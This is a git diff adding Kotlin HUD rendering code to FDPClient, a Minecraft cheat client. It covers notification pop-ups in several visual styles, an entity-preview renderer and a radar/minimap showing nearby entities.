+ + pitch = if (pitch > 0) -pitch else abs(pitch) + + drawEntityOnScreen(yaw, pitch, mc.thePlayer) + + return Border(30F, 10F, -30F, -100F) + } + + /** + * Draw [entityLivingBase] to screen + */ + private fun drawEntityOnScreen(yaw: Float, pitch: Float, entityLivingBase: EntityLivingBase) { + GlStateManager.resetColor() + GL11.glColor4f(1F, 1F, 1F, 1F) + GlStateManager.enableColorMaterial() + GlStateManager.pushMatrix() + GlStateManager.translate(0F, 0F, 50F) + GlStateManager.scale(-50F, 50F, 50F) + GlStateManager.rotate(180F, 0F, 0F, 1F) + + val renderYawOffset = entityLivingBase.renderYawOffset + val rotationYaw = entityLivingBase.rotationYaw + val rotationPitch = entityLivingBase.rotationPitch + val prevRotationYawHead = entityLivingBase.prevRotationYawHead + val rotationYawHead = entityLivingBase.rotationYawHead + + GlStateManager.rotate(135F, 0F, 1F, 0F) + RenderHelper.enableStandardItemLighting() + GlStateManager.rotate(-135F, 0F, 1F, 0F) + GlStateManager.rotate(-atan(pitch / 40F) * 20.0F, 1F, 0F, 0F) + + entityLivingBase.renderYawOffset = atan(yaw / 40F) * 20F + entityLivingBase.rotationYaw = atan(yaw / 40F) * 40F + entityLivingBase.rotationPitch = -atan(pitch / 40F) * 20F + entityLivingBase.rotationYawHead = entityLivingBase.rotationYaw + entityLivingBase.prevRotationYawHead = entityLivingBase.rotationYaw + + GlStateManager.translate(0F, 0F, 0F) + + val renderManager = mc.renderManager + renderManager.setPlayerViewY(180F) + renderManager.isRenderShadow = false + renderManager.renderEntityWithPosYaw(entityLivingBase, 0.0, 0.0, 0.0, 0F, 1F) + renderManager.isRenderShadow = true + + entityLivingBase.renderYawOffset = renderYawOffset + entityLivingBase.rotationYaw = rotationYaw + entityLivingBase.rotationPitch = rotationPitch + entityLivingBase.prevRotationYawHead = prevRotationYawHead + entityLivingBase.rotationYawHead = rotationYawHead + + GlStateManager.popMatrix() + RenderHelper.disableStandardItemLighting() + GlStateManager.disableRescaleNormal() + GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit) + GlStateManager.disableTexture2D() + GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit) + GlStateManager.resetColor() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Notifications.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Notifications.kt new file mode 100644 index 0000000..27b80c1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Notifications.kt @@ -0,0 +1,450 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.font.CFontRenderer +import net.ccbluex.liquidbounce.font.FontLoaders +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner +import net.ccbluex.liquidbounce.ui.client.hud.element.* +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.* +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.minecraft.util.ResourceLocation +import net.minecraft.client.renderer.GlStateManager +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.max + + +/** + * CustomHUD Notification element + */ +@ElementInfo(name = "Notifications", blur = true) +class Notifications(x: Double = 0.0, y: Double = 0.0, scale: Float = 1F,side: Side = Side(Side.Horizontal.RIGHT, Side.Vertical.DOWN)) : Element(x, y, scale, side) { + + + private val backGroundAlphaValue = IntegerValue("BackGroundAlpha", 170, 0, 255) + private val titleShadow = BoolValue("TitleShadow", false) + private val motionBlur = BoolValue("Motionblur", false) + private val contentShadow = BoolValue("ContentShadow", true) + private val whiteText = BoolValue("WhiteTextColor", true) + private val modeColored = BoolValue("CustomModeColored", true) + companion object { + val styleValue = ListValue("Mode", arrayOf("Classic", "FDP", "Modern", "Tenacity", "Intellij", "Skid"), "Modern") + } + + /** + * Example notification for CustomHUD designer + */ + private val exampleNotification = Notification("Notification", "This is an example notification.", NotifyType.INFO) + + /** + * Draw element + */ + override fun drawElement(partialTicks: Float): Border? { + // bypass java.util.ConcurrentModificationException + FDPClient.hud.notifications.map { it }.forEachIndexed { index, notify -> + GL11.glPushMatrix() + + if (notify.drawNotification(index, FontLoaders.C16, backGroundAlphaValue.get(), blurValue.get(), this.renderX.toFloat(), this.renderY.toFloat(), scale,contentShadow.get(),titleShadow.get(),motionBlur.get(),whiteText.get(),modeColored.get(), Companion)) { + FDPClient.hud.notifications.remove(notify) + } + + GL11.glPopMatrix() + } + + if (mc.currentScreen is GuiHudDesigner) { + if (!FDPClient.hud.notifications.contains(exampleNotification)) { + FDPClient.hud.addNotification(exampleNotification) + } + + exampleNotification.fadeState = FadeState.STAY + exampleNotification.displayTime = System.currentTimeMillis() + + return Border(-exampleNotification.width.toFloat(), -exampleNotification.height.toFloat(), 0F, 0F) + } + + return null + } + + override fun drawBoarderBlur(blurRadius: Float) {} +} + + +class Notification( + val title: String, + val content: String, + val type: NotifyType, + val time: Int = 1500, + private val animeTime: Int = 500 +) { + var width = 100 + val height = 30 + + private val classicHeight = 30 + var x = 0F + var textLengthtitle = 0 + var textLengthcontent = 0 + var textLength = 0f + init { + textLengthtitle = Fonts.font35.getStringWidth(title) + textLengthcontent = Fonts.font35.getStringWidth(content) + textLength = textLengthcontent.toFloat() + textLengthtitle.toFloat() + } + + var fadeState = FadeState.IN + private var nowY = -height + var displayTime = System.currentTimeMillis() + private var animeXTime = System.currentTimeMillis() + private var animeYTime = System.currentTimeMillis() + + /** + * Draw notification + */ + fun drawNotification( + index: Int, font: CFontRenderer, alpha: Int, blurRadius: Float, x: Float, y: Float, scale: Float, + contentShadow: Boolean, + titleShadow: Boolean, + motionBlur: Boolean, + whiteText: Boolean, + modeColored: Boolean, + parent: Notifications.Companion + + ): Boolean { + this.width = 100.coerceAtLeast( + font.getStringWidth(content) + .coerceAtLeast(font.getStringWidth(title)) + 15 + ) + val realY = -(index + 1) * height + val nowTime = System.currentTimeMillis() + var transY = nowY.toDouble() + var lbtl = font.getStringWidth(title + ": " + content) + var x = 0f + + var textColor = Color(255, 255, 255).rgb + + if (whiteText) { + textColor = Color(255, 255, 255).rgb + } else { + textColor = Color(10, 10, 10).rgb + } + + // Y-Axis Animation + if (nowY != realY) { + var pct = (nowTime - animeYTime) / animeTime.toDouble() + if (pct > 1) { + nowY = realY + pct = 1.0 + } else { + pct = EaseUtils.easeOutExpo(pct) + } + transY += (realY - nowY) * pct + } else { + animeYTime = nowTime + } + + // X-Axis Animation + var pct = (nowTime - animeXTime) / animeTime.toDouble() + when (fadeState) { + FadeState.IN -> { + if (pct > 1) { + fadeState = FadeState.STAY + animeXTime = nowTime + pct = 1.0 + } + pct = EaseUtils.easeOutExpo(pct) + } + + FadeState.STAY -> { + pct = 1.0 + if ((nowTime - animeXTime) > time) { + fadeState = FadeState.OUT + animeXTime = nowTime + } + } + + FadeState.OUT -> { + if (pct > 1) { + fadeState = FadeState.END + animeXTime = nowTime + pct = 1.0 + } + pct = 1 - EaseUtils.easeInExpo(pct) + } + + FadeState.END -> { + return true + } + } + val transX = width - (width * pct) - width + GL11.glTranslated(transX, transY, 0.0) + // draw notify + val style = parent.styleValue.get() + val nTypeWarning = if(type.renderColor == Color(0xF5FD00)){ true } else { false } + val nTypeInfo = if(type.renderColor == Color(0x6490A7)) { true } else { false } + val nTypeSuccess = if(type.renderColor == Color(0x60E092)) { true } else { false } + val nTypeError = if(type.renderColor == Color(0xFF2F2F)) { true } else { false } + + + if (style.equals("Modern")) { + + if (blurRadius != 0f) { + BlurUtils.draw(4 + (x + transX).toFloat() * scale, (y + transY).toFloat() * scale, (width * scale), (27f - 5f) * scale, blurRadius) + } + var colorRed = type.renderColor.red + var colorGreen = type.renderColor.green + var colorBlue = type.renderColor.blue + + if (modeColored) { + //success + if (colorRed == 60) colorRed = 36 + if (colorGreen == 224) colorGreen = 211 + if (colorBlue == 92) colorBlue = 99 + + //error + if (colorRed == 255) colorRed = 248 + if (colorGreen == 47) colorGreen = 72 + if (colorBlue == 47) colorBlue = 72 + + //warning + if (colorRed == 245) colorRed = 251 + if (colorGreen == 253) colorGreen = 189 + if (colorBlue == 0) colorBlue = 23 + + //info + if (colorRed == 64) colorRed = 242 + if (colorGreen == 90) colorGreen = 242 + if (colorBlue == 167) colorBlue = 242 + } + + + val colors = Color(colorRed, colorGreen, colorBlue, alpha / 3) + + if (motionBlur) { + when (fadeState) { + FadeState.IN -> { + RenderUtils.drawRoundedCornerRect(3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(3F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + + FadeState.STAY -> { + RenderUtils.drawRoundedCornerRect(3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(3F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + + FadeState.OUT -> { + RenderUtils.drawRoundedCornerRect(4F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(5F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + + FadeState.END -> TODO() + } + } else { + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + shadowRenderUtils.drawShadowWithCustomAlpha(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 240f) + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, max(width - width * ((nowTime - displayTime) / (animeTime * 2F + time)) + 5f, 0F), 27f - 5f, 2f, Color(0, 0, 0, 26).rgb) + FontLoaders.C12.DisplayFont2(FontLoaders.C12, title, 4F, 3F, textColor, titleShadow) + font.DisplayFont2(font, content, 4F, 10F, textColor, contentShadow) + return false + } + + if (style == "FDP") { + + if (blurRadius != 0f) { + BlurUtils.draw(4 + (x + transX).toFloat() * scale, (y + transY).toFloat() * scale, (width * scale), (27f - 5f) * scale, blurRadius) + } + + val colors = Color(0, 0, 0, alpha / 4) + + if (motionBlur) { + when (fadeState) { + FadeState.IN -> { + RenderUtils.drawRoundedCornerRect(3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(3F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + + FadeState.STAY -> { + RenderUtils.drawRoundedCornerRect(3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(3F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + + FadeState.OUT -> { + RenderUtils.drawRoundedCornerRect(4F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(5F, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + + FadeState.END -> TODO() + } + } else { + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + } + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 2f, colors.rgb) + shadowRenderUtils.drawShadowWithCustomAlpha(0F + 3f, 0F, width.toFloat() + 5f, 27f - 5f, 240f) + RenderUtils.drawRoundedCornerRect(0F + 3f, 0F, max(width - width * ((nowTime - displayTime) / (animeTime * 2F + time)) + 5f, 0F), 27f - 5f, 2f, Color(0, 0, 0, 40).rgb) + FontLoaders.C12.DisplayFont2(FontLoaders.C12, title, 4F, 3F, textColor, titleShadow) + font.DisplayFont2(font, content, 4F, 10F, textColor, contentShadow) + return false + } + + // lbtl means liquidbounce text length + /* if(style.equals("LiquidBounce")) { + RenderUtils.drawRect(-1F, 0F, lbtl + 9F, -20F, Color(0, 0, 0, alpha)) + FontLoaders.C12.DisplayFont2(FontLoaders.C12, title + ": " + content, -4F, 3F, textColor, titleShadow) + RenderUtils.drawRect(-1F + max(lbtl + 5F - (lbtl+ 5F) * ((nowTime - displayTime) / (animeTime * 2F + time)), 0F), 0F, 4F + max(lbtl + 5F - (lbtl+ 5F) * ((nowTime - displayTime) / (animeTime * 2F + time)), 0F), -20F, Color(0, 0, 0, alpha)) + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + } yo so dg, WTF */ + + + /* + if(style.equals("Simple")) { + RenderUtils.customRoundedinf(-x + 8F + lbtl, -y, -x - 2F, -18F - y, 0F, 3F, 3F, 0F, Color(0,0,0, alpha).rgb) + RenderUtils.customRoundedinf(-x - 2F, -y, -x - 5F, -18F - y, 3F, 0F, 0F, 3F, type.renderColor) + Fonts.font40.drawString("$title: $content", -x + 3, -13F - y, -1) + } */ + + if(style.equals("Skid")){ + + val colors=Color(type.renderColor.red,type.renderColor.green,type.renderColor.blue,alpha/3) + shadowRenderUtils.drawShadowWithCustomAlpha(2f, 0F, width.toFloat() + 5f, 27f - 5f, 250f) // oops + RenderUtils.drawRect(2.0, 0.0, 4.0, 27f - 5.0, colors.rgb) + RenderUtils.drawRect(3F, 0F, width.toFloat() + 5f, 27f - 5f, Color(0,0,0,150)) + RenderUtils.drawGradientSidewaysH(3.0, 0.0, 20.0, 27f - 5.0, colors.rgb, Color(0,0,0,0).rgb) + RenderUtils.drawRect(2f, 27f-6f, max(width - width * ((nowTime - displayTime) / (animeTime * 2F + time))+5f, 0F), 27f - 5f ,Color(52, 97, 237).rgb) + + FontLoaders.C12.DisplayFont2(FontLoaders.C12,title, 4F, 3F, textColor,titleShadow) + font.DisplayFont2(font,content, 4F, 10F, textColor,contentShadow) + return false + } + + if(style.equals("Tenacity")){ + val fontRenderer = Fonts.font35 + val thisWidth=100.coerceAtLeast(fontRenderer.getStringWidth(this.title).coerceAtLeast(fontRenderer.getStringWidth(this.content)) + 40) + val error = ResourceLocation("fdpclient/ui/notifications/icons/tenacity/cross.png") + val successful = ResourceLocation("fdpclient/ui/notifications/icons/tenacity/tick.png") + val warn = ResourceLocation("fdpclient/ui/notifications/icons/tenacity/warning.png") + val info = ResourceLocation("fdpclient/ui/notifications/icons/tenacity/info.png") + if(type.renderColor == Color(0xFF2F2F)){ + RenderUtils.drawRoundedCornerRect(-18F,1F,thisWidth.toFloat(),height.toFloat() - 2F,5f,Color(180,0,0,190).rgb) + RenderUtils.drawImage(error,-13,5,18,18) + Fonts.font35.drawString(title,9F,16F,Color(255,255,255,255).rgb) + Fonts.font40.drawString(content,9F,6F,Color(255,255,255,255).rgb) + }else if(type.renderColor == Color(0x60E092)){ + RenderUtils.drawRoundedCornerRect(-16F,1F,thisWidth.toFloat(),height.toFloat() - 2F,5f,Color(0,180,0,190).rgb) + RenderUtils.drawImage(successful,-13,5,18,18) + Fonts.font35.drawString(title,9F,16F,Color(255,255,255,255).rgb) + Fonts.font40.drawString(content,9F,6F,Color(255,255,255,255).rgb) + } else if(type.renderColor == Color(0xF5FD00)){ + RenderUtils.drawRoundedCornerRect(-16F,1F,thisWidth.toFloat(),height.toFloat() - 2F,5f,Color(0,0,0,190).rgb) + RenderUtils.drawImage(warn,-13,5,18,18) + Fonts.font35.drawString(title,9F,16F,Color(255,255,255,255).rgb) + Fonts.font40.drawString(content,9F,6F,Color(255,255,255,255).rgb) + } else { + RenderUtils.drawRoundedCornerRect(-16F,1F,thisWidth.toFloat(),height.toFloat() - 2F,5f,Color(0,0,0,190).rgb) + RenderUtils.drawImage(info,-13,5,18,18) + Fonts.font35.drawString(title,9F,16F,Color(255,255,255,255).rgb) + Fonts.font40.drawString(content,9F,6F,Color(255,255,255,255).rgb) + } + return false + } + + if(style.equals("Classic")) { + if (blurRadius != 0f) + BlurUtils.draw((x + transX).toFloat() * scale, (y + transY).toFloat() * scale, width * scale, classicHeight * scale, blurRadius) + + RenderUtils.drawRect(0F, 0F, width.toFloat(), classicHeight.toFloat(), Color(0, 0, 0, alpha)) + shadowRenderUtils.drawShadowWithCustomAlpha(0F, 0F, width.toFloat(), classicHeight.toFloat(), 240f) + RenderUtils.drawRect(0F, classicHeight - 2F, max(width - width * ((nowTime - displayTime) / (animeTime * 2F + time)), 0F), classicHeight.toFloat(), type.renderColor) + font.drawString(title, 4F, 4F, textColor, false) + font.drawString(content, 4F, 17F, textColor, false) + return false + } + + if(style.equals("Intellij")) { + val notifyDir = "fdpclient/notifications/icons/noti/intellij/" + val imgSuccess = ResourceLocation("${notifyDir}checkmark.png") + val imgError = ResourceLocation("${notifyDir}error.png") + val imgWarning = ResourceLocation("${notifyDir}warning.png") + val imgInfo = ResourceLocation("${notifyDir}info.png") + + val dist = (x + 1 + 26F) - (x - 8 - textLength) + val kek = -x - 1 - 20F + + GlStateManager.resetColor() + + Stencil.write(true) + if(nTypeError){ + RenderUtils.drawRoundedRect(-x + 9 + textLength, 1f, kek - 1, -28F - 1, 0F, Color(115,69,75).rgb) + RenderUtils.drawRoundedRect(-x + 8 + textLength, 0f, kek, -28F, 0F, Color(89,61,65).rgb) + FontLoaders.M16.DisplayFont2(FontLoaders.M16,title, -x + 6, -25F, Color(249,130,108).rgb, true) + } + if(nTypeInfo) { + RenderUtils.drawRoundedRect(-x + 9 + textLength, 1f, kek - 1, -28F - 1, 0F, Color(70,94,115).rgb) + RenderUtils.drawRoundedRect(-x + 8 + textLength, 0f, kek, -28F, 0F, Color(61,72,87).rgb) + FontLoaders.M16.DisplayFont2(FontLoaders.M16,title, -x + 6, -25F, Color(119,145,147).rgb, true) + } + if(nTypeSuccess){ + RenderUtils.drawRoundedRect(-x + 9 + textLength, 1f, kek - 1, -28F - 1, 0F, Color(67,104,67).rgb) + RenderUtils.drawRoundedRect(-x + 8 + textLength, 0f, kek, -28F, 0F, Color(55,78,55).rgb) + FontLoaders.M16.DisplayFont2(FontLoaders.M16,title, -x + 6, -25F, Color(10,142,2).rgb, true) + } + if(nTypeWarning){ + RenderUtils.drawRoundedRect(-x + 9 + textLength, 1f, kek - 1, -28F - 1, 0F, Color(103,103,63).rgb) + RenderUtils.drawRoundedRect(-x + 8 + textLength, 0f, kek, -28F, 0F, Color(80,80,57).rgb) + FontLoaders.M16.DisplayFont2(FontLoaders.M16,title, -x + 6, -25F, Color(175,163,0).rgb, true) + } + + Stencil.erase(true) + + GlStateManager.resetColor() + + Stencil.dispose() + + GL11.glPushMatrix() + GlStateManager.disableAlpha() + GlStateManager.resetColor() + GL11.glColor4f(1F, 1F, 1F, 1F) + RenderUtils.drawImage2(if(nTypeSuccess){imgSuccess} else if(nTypeError){imgError} else if(nTypeWarning){imgWarning} else {imgInfo}, kek + 5, -25F - y, 7, 7) + GlStateManager.enableAlpha() + GL11.glPopMatrix() + + + FontLoaders.M16.DisplayFont2(FontLoaders.M16,content, -x + 6, -13F, -1, true) + return false + } + return false + } + +} + +//NotifyType Color +enum class NotifyType(var renderColor: Color) { + SUCCESS(Color(0x60E092)), + ERROR(Color(0xFF2F2F)), + WARNING(Color(0xF5FD00)), + INFO(Color(0x6490A7)); +} + //classic + // SUCCESS(Color((0x60E092)), + // ERROR(Color(0xFF2F2F)), + // WARNING(Color(0xF5FD00)), + // INFO(Color( 0x6490A7))); + //modern (shitty) + // SUCCESS(Color(0x36D399)), + // ERROR(Color(0xF87272)), + // WARNING(Color(0xFBBD23)), + // INFO(Color(0xF2F2F2)); + + +enum class FadeState { IN, STAY, OUT, END } + + diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Radar.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Radar.kt new file mode 100644 index 0000000..e1efe98 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Radar.kt @@ -0,0 +1,342 @@ +/* + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.modules.visual.ESP +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.MiniMapRegister +import net.ccbluex.liquidbounce.utils.RainbowShader +import net.ccbluex.liquidbounce.utils.SafeVertexBuffer +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.Tessellator +import net.minecraft.client.renderer.vertex.DefaultVertexFormats +import net.minecraft.client.renderer.vertex.VertexBuffer +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import org.lwjgl.util.vector.Vector2f +import java.awt.Color +import kotlin.math.* + +@ElementInfo(name = "Radar", disableScale = true, priority = 1) +class Radar(x: Double = 5.0, y: Double = 130.0) : Element(x, y) { + + companion object { + private val SQRT_OF_TWO = sqrt(2f) + } + + private val sizeValue = FloatValue("Size", 90f, 30f, 500f) + private val viewDistanceValue = FloatValue("View Distance", 4F, 0.5F, 32F) + + private val playerShapeValue = ListValue("Player Shape", arrayOf("Triangle", "Rectangle", "Circle"), "Triangle") + private val playerSizeValue = FloatValue("Player Size", 2.0F, 0.5f, 20F) + private val useESPColorsValue = BoolValue("Use ESP Colors", true) + private val fovSizeValue = FloatValue("FOV Size", 10F, 0F, 50F) + private val fovAngleValue = FloatValue("FOV Angle", 70F, 30F, 160F) + + private val minimapValue = BoolValue("Minimap", true) + + private val rainbowXValue = FloatValue("Rainbow-X", -1000F, -2000F, 2000F) + private val rainbowYValue = FloatValue("Rainbow-Y", -1000F, -2000F, 2000F) + + private val backgroundRedValue = IntegerValue("Background Red", 0, 0, 255) + private val backgroundGreenValue = IntegerValue("Background Green", 0, 0, 255) + private val backgroundBlueValue = IntegerValue("Background Blue", 0, 0, 255) + private val backgroundAlphaValue = IntegerValue("Background Alpha", 50, 0, 255) + + private val borderStrengthValue = FloatValue("Border Strength", 2F, 1F, 5F) + private val borderRedValue = IntegerValue("Border Red", 0, 0, 255) + private val borderGreenValue = IntegerValue("Border Green", 0, 0, 255) + private val borderBlueValue = IntegerValue("Border Blue", 0, 0, 255) + private val borderAlphaValue = IntegerValue("Border Alpha", 150, 0, 255) + private val borderRainbowValue = BoolValue("Border Rainbow", false) + + private var fovMarkerVertexBuffer: VertexBuffer? = null + private var lastFov = 0f + + override fun drawElement(partialTicks: Float): Border { + MiniMapRegister.radarEnabled = true + MiniMapRegister.updateChunks() + + val fovAngle = fovAngleValue.get() + + if (lastFov != fovAngle || fovMarkerVertexBuffer == null) { + // Free Memory + fovMarkerVertexBuffer?.deleteGlBuffers() + + fovMarkerVertexBuffer = createFovIndicator(fovAngle) + lastFov = fovAngle + } + + val renderViewEntity = mc.renderViewEntity!! + + val size = sizeValue.get() + + if (!minimapValue.get()) { + RenderUtils.drawRect(0F, 0F, size, size, Color(backgroundRedValue.get(), backgroundGreenValue.get(), + backgroundBlueValue.get(), backgroundAlphaValue.get()).rgb) + } + + val viewDistance = viewDistanceValue.get() * 16.0F + + val maxDisplayableDistanceSquare = ((viewDistance + fovSizeValue.get().toDouble()) * + (viewDistance + fovSizeValue.get().toDouble())) + val halfSize = size / 2f + + RenderUtils.makeScissorBox(x.toFloat(), y.toFloat(), x.toFloat() + ceil(size), y.toFloat() + ceil(size)) + + GL11.glEnable(GL11.GL_SCISSOR_TEST) + + GL11.glPushMatrix() + + GL11.glTranslatef(halfSize, halfSize, 0f) + GL11.glRotatef(renderViewEntity.rotationYaw, 0f, 0f, -1f) + + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + + if (minimapValue.get()) { + GL11.glEnable(GL11.GL_TEXTURE_2D) + + val chunkSizeOnScreen = size / viewDistanceValue.get() + val chunksToRender = max(1, ceil((SQRT_OF_TWO * (viewDistanceValue.get() * 0.5f))).toInt()) + + val currX = renderViewEntity.posX / 16.0 + val currZ = renderViewEntity.posZ / 16.0 + + for (x in -chunksToRender..chunksToRender) { + for (z in -chunksToRender..chunksToRender) { + val currChunk = MiniMapRegister.getChunkTextureAt(floor(currX).toInt() + x, floor(currZ).toInt() + z) + + if (currChunk != null) { + val sc = chunkSizeOnScreen.toDouble() + + val onScreenX = (currX - floor(currX).toLong() - 1 - x) * sc + val onScreenZ = (currZ - floor(currZ).toLong() - 1 - z) * sc + + GlStateManager.bindTexture(currChunk.texture.glTextureId) + + GL11.glBegin(GL11.GL_QUADS) + + GL11.glTexCoord2f(0f, 0f) + GL11.glVertex2d(onScreenX, onScreenZ) + GL11.glTexCoord2f(0f, 1f) + GL11.glVertex2d(onScreenX, onScreenZ + chunkSizeOnScreen) + GL11.glTexCoord2f(1f, 1f) + GL11.glVertex2d(onScreenX + chunkSizeOnScreen, onScreenZ + chunkSizeOnScreen) + GL11.glTexCoord2f(1f, 0f) + GL11.glVertex2d(onScreenX + chunkSizeOnScreen, onScreenZ) + + GL11.glEnd() + } + + } + } + + GlStateManager.bindTexture(0) + + GL11.glDisable(GL11.GL_TEXTURE_2D) + } + + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + + val triangleMode = playerShapeValue.get().equals("triangle", true) + val circleMode = playerShapeValue.get().equals("circle", true) + + val tessellator = Tessellator.getInstance() + val worldRenderer = tessellator.worldRenderer + + if (circleMode) { + GL11.glEnable(GL11.GL_POINT_SMOOTH) + } + + var playerSize = playerSizeValue.get() + + GL11.glEnable(GL11.GL_POLYGON_SMOOTH) + + if (triangleMode) { + playerSize *= 2 + } else { + worldRenderer.begin(GL11.GL_POINTS, DefaultVertexFormats.POSITION) + GL11.glPointSize(playerSize) + } + + for (entity in mc.theWorld!!.loadedEntityList) { + if (entity != mc.thePlayer && EntityUtils.isSelected(entity, false) && entity is EntityLivingBase) { + val positionRelativeToPlayer = Vector2f((renderViewEntity.posX - entity.posX).toFloat(), + (renderViewEntity.posZ - entity.posZ).toFloat()) + + if (maxDisplayableDistanceSquare < positionRelativeToPlayer.lengthSquared()) + continue + + val transform = triangleMode || fovSizeValue.get() > 0F + + if (transform) { + GL11.glPushMatrix() + + GL11.glTranslatef( + (positionRelativeToPlayer.x / viewDistance) * size, + (positionRelativeToPlayer.y / viewDistance) * size, 0f + ) + GL11.glRotatef(entity.rotationYaw, 0f, 0f, 1f) + } + + if (fovSizeValue.get() > 0F) { + GL11.glPushMatrix() + GL11.glRotatef(180.0f, 0f, 0f, 1f) + val sc = (fovSizeValue.get() / viewDistance) * size + GL11.glScalef(sc, sc, sc) + + GL11.glColor4f(1.0f, 1.0f, 1.0f, if (minimapValue.get()) 0.75f else 0.25f) + + val vbo = fovMarkerVertexBuffer!! + + vbo.bindBuffer() + + GL11.glEnableClientState(GL11.GL_VERTEX_ARRAY) + GL11.glVertexPointer(3, GL11.GL_FLOAT, 12, 0L) + + vbo.drawArrays(GL11.GL_TRIANGLE_FAN) + vbo.unbindBuffer() + + GL11.glDisableClientState(GL11.GL_VERTEX_ARRAY) + + GL11.glPopMatrix() + } + + if (triangleMode) { + if (useESPColorsValue.get()) { + val color = (FDPClient.moduleManager.getModule(ESP::class.java))!!.getColor(entity) + + GL11.glColor4f(color.red / 255.0f, color.green / 255.0f, color.blue / 255.0f, 1.0f) + } else { + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + } + + GL11.glBegin(GL11.GL_TRIANGLES) + + GL11.glVertex2f(-playerSize * 0.25f, playerSize * 0.5f) + GL11.glVertex2f(playerSize * 0.25f, playerSize * 0.5f) + GL11.glVertex2f(0f, -playerSize * 0.5f) + + GL11.glEnd() + } else { + val color = (FDPClient.moduleManager.getModule(ESP::class.java))!!.getColor(entity) + + worldRenderer.pos(((positionRelativeToPlayer.x / viewDistance) * size).toDouble(), ((positionRelativeToPlayer.y / viewDistance) * size).toDouble(), 0.0) + .color(color.red / 255.0f, color.green / 255.0f, + color.blue / 255.0f, 1.0f).endVertex() + } + + if (transform) { + GL11.glPopMatrix() + } + + } + } + + if (!triangleMode) + tessellator.draw() + + if (circleMode) { + GL11.glDisable(GL11.GL_POINT_SMOOTH) + } + + GL11.glDisable(GL11.GL_POLYGON_SMOOTH) + + GL11.glEnable(GL11.GL_TEXTURE_2D) + 